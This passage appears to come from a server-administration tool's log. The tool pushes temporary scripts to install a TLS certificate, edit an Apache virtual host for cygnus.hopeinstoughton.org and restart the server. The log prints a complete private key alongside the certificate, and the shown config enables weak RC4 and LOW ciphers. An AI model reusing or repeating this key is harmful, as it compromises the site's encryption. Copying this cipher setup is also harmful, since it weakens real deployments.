qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:01:46: 

chmod 755 /tmp/pkp228494; /tmp/pkp228494; rm /tmp/pkp228494

2025-11-03 06:01:46: 


dir=/etc/ssl/certs


2025-11-03 06:01:46: 

PUT: /tmp/pkp626900

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:01:46: 

chmod 755 /tmp/pkp626900; /tmp/pkp626900; rm /tmp/pkp626900

2025-11-03 06:01:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2025-11-03 06:01:46: 

PUT: /tmp/pkp513090

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi


2025-11-03 06:01:47: 

chmod 755 /tmp/pkp513090; /tmp/pkp513090; rm /tmp/pkp513090

2025-11-03 06:01:47: 




2025-11-03 06:01:47: 

PUT: /tmp/pkp250267

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:01:47: 

chmod 755 /tmp/pkp250267; /tmp/pkp250267; rm /tmp/pkp250267

2025-11-03 06:01:48: 


.


2025-11-03 06:01:48: Establishing a connection
2025-11-03 06:01:49: 

PUT: /tmp/pkp673243

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:01:50: 

chmod 755 /tmp/pkp673243; /tmp/pkp673243; rm /tmp/pkp673243

2025-11-03 06:01:50: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-03 06:01:50: 

PUT: /tmp/pkp689708

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:01:50: 

chmod 755 /tmp/pkp689708; /tmp/pkp689708; rm /tmp/pkp689708

2025-11-03 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2025-11-03 06:01:51: 

PUT: /tmp/pkp653230

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:01:51: 

chmod 755 /tmp/pkp653230; /tmp/pkp653230; rm /tmp/pkp653230

2025-11-03 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5378
8c:0b:d4:f5:7c:b5:fc:7e:92:6e:1b:72:77:2b:c6:3f

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBpIQx/XDE7orjtnzp/Ygjna2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzEzWhcNMjYwMjAxMDUwMzEyWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMsdki5+ZFY1t20BfhbA3v7egkddFeUCzSt7tuTZE0oYn0eF
rjI92hNOkbffZ/FtrTiLW7tDXm4nTOl7IHIA8Tw/JNp2HpmzY0Jekcj7d8U9uOVQ
ctcuEQycb0ZsAFYfxAX3h66Eku/k1lLk65uHVLuvnqQJ6qHL/XtOdLqRv4PEkH3A
Dp5PT8jWIuVtTOnriOcX4duCGkm6TG4engDwCPO/5kN19Am1hPIceI2Dht1ejc62
Xi5ztZRgYcZmekj6LqSpYl4BwVYbIzw8YEkWl06kdrNNwy0ve/5EhAe1yyJm/oaz
x4Xp7OFXge//muCeuUT/WmAJsP484JKUk1zW860CAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUeBFcvfCnSNEh7OcMTqsVFhId+p8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzU1LmNybDCCAQIGCisG
AQQB1nkCBAIEgfMEgfAA7gB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp
3fjDAAABmkhOoCMAAAQDAEYwRAIgMT+tXbcqmDA8ePoczSBwF8BqdklvCkqfTlA4
kxD8/RACIBJnp/QuCJUG/oGpiz5tJAjI9BbrnU8t+veotpv/VR4lAHUADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaSE6gOQAABAMARjBEAiB5vtmb
fDB0SPC2d5b/Tj6mCiPgN6NNlyNjZUqkx2lb4QIgBMDFGuamKuEPYsP341TQQQS1
Sdr5xlE27yLEHx0HeEUwDQYJKoZIhvcNAQELBQADggEBABBLCQUVNGyWtr7AHoFn
uzL+0EyyXxWzg8FEHAHNxap+Gw6Iao5f7D/9q2WuCtuBfncce02OLdvpraptvo7B
kbZ79JjhpjRFFzlf4k/ryvOchqanhwxq+1D3tTwRu3Jz1q+Ab+bIi3ZlO4nhcfS5
qW1fLDj30AZ/lS6liLRZL03V2fM1O6OHdJMdzEstbMt79jzI+asQA6TZTkeXz66c
SK8jqNNfkSoYbg8EQ4n+Ls6LtbBfw0c/unnfGf76oLQ0+UAl6lx6ZllywL4C+zoC
EmTsQBZkp83DEVVt5FoOztTxsCsz9YOGFAPfEIlzRB33gcODnDNt28nldGz71vPJ
TwE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDLHZIufmRWNbdt
AX4WwN7+3oJHXRXlAs0re7bk2RNKGJ9Hha4yPdoTTpG332fxba04i1u7Q15uJ0zp
eyByAPE8PyTadh6Zs2NCXpHI+3fFPbjlUHLXLhEMnG9GbABWH8QF94euhJLv5NZS
5Oubh1S7r56kCeqhy/17TnS6kb+DxJB9wA6eT0/I1iLlbUzp64jnF+HbghpJukxu
Hp4A8Ajzv+ZDdfQJtYTyHHiNg4bdXo3Otl4uc7WUYGHGZnpI+i6kqWJeAcFWGyM8
PGBJFpdOpHazTcMtL3v+RIQHtcsiZv6Gs8eF6ezhV4Hv/5rgnrlE/1pgCbD+POCS
lJNc1vOtAgMBAAECggEBAKz4F76kP8nyoKuhc8Doqn4c+pDPQo/tnM8E4bFs8rJM
2YdM3hVG+ukqJYmSJLBCmBrpAkssicQAj8zc37p19vk5RKcNo+18CHFCm5+uFkbP
0x7lLYb1Yet9ZH1yB69QCdyS+OazW3YTSDj7XXDrBEt4uP40u6zhTJGvNFSVPaR1
Qa0z3YA9APaNV8nwWJWw22UxPoHTdQaoszgHFALGBkiViQp7RLHUXEE8XmbKH4kx
+LKVRA6ttdlM6mTFugqa9R20gJNmi4KfpKrFRhTSHpiRVNcicDUIqy9LkVwM209M
SuOpovWLQ1oakX4n1DO/HqTQBZgbHr9LqzRslWnIVgECgYEA6FAcn+4ViTinCRCW
+gkC8FheFQF6C5VtugXHzBBvi17y5N7ZG76/tlOpWEEcXUfe4S5EbVqlKLW/jRkv
ok64T7e4raXUEblmxZN2hjaXn1oEWk9Q3zmP+GENHzV2At85JVWqBqRIbSKnlmL4
oEg09SdiTC2XzbuTz/Zy+gkwHG0CgYEA39NXS1TVB9aQvPBeIguWqHliWJNh/sly
RwyUYJh33LZxUC3aDF5Urx4J4kbqHpsY3KsYo2PZPqXKutEMGSzwYSy6jPW4uQKV
5KSzK3Hul1KmYSNlq2V+6KW59Hgh0q7wQzmDL8VkbtAGwPPoTKiZYu1DeDq3bomz
qu8oIa2RLEECgYEAmT5XU4w6+pS7YrhlzzPok2DHVvXtavy8L+ymOk9RNU+BzEXQ
U4QFdKFFYSk6K7JALKxXiQc1UWBqpgnKKTfiTvuzQCDWfoada5F1qt0SMZSwsF4H
y+httvtWK5MZcJWNXbpfeRgfipZElGhe92QKQvki13tv2s90lsdMWvF6ohUCgYEA
v9MZ4nb+6GvMuhDrLBRwd00oqy8M8lbleNzgIXUqbN9zd7sEQEtsGnUNFX+fUMGt
6hk80XNWkal3eOqGiuEH1tCFxR8mxHDh1AYPhDFtwQTVkTTMArvGq061cz6uBill
wsd8lil/LLVexGmFcoWgh7c+dsEjyjl74Qh8hXiCjcECgYAXV0r9Q5yGZGsXNNRa
c1/dYN0IW6aQpz3sDlZrkdCAkb8XAV1WT+1HcGtmn+2eB2IYpBYRPJDg1zDAfAvT
Xa56GdT8QVos7fRaodmNtqd0S0GJt1zgSdBT9Kb4HJ5gus1M4dpWcQw26I2pDb72
5Xq+kNGX4s7zQwGf826H9yzWyw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:01:51: Establishing a connection
2025-11-03 06:01:52: Establishing a connection
2025-11-03 06:01:53: 

PUT: /tmp/pkp317130

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:01:54: 

chmod 755 /tmp/pkp317130; /tmp/pkp317130; rm /tmp/pkp317130

2025-11-03 06:01:55: 


1


2025-11-03 06:01:55: Establishing a connection
2025-11-03 06:01:56: 

PUT: /tmp/pkp428516

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
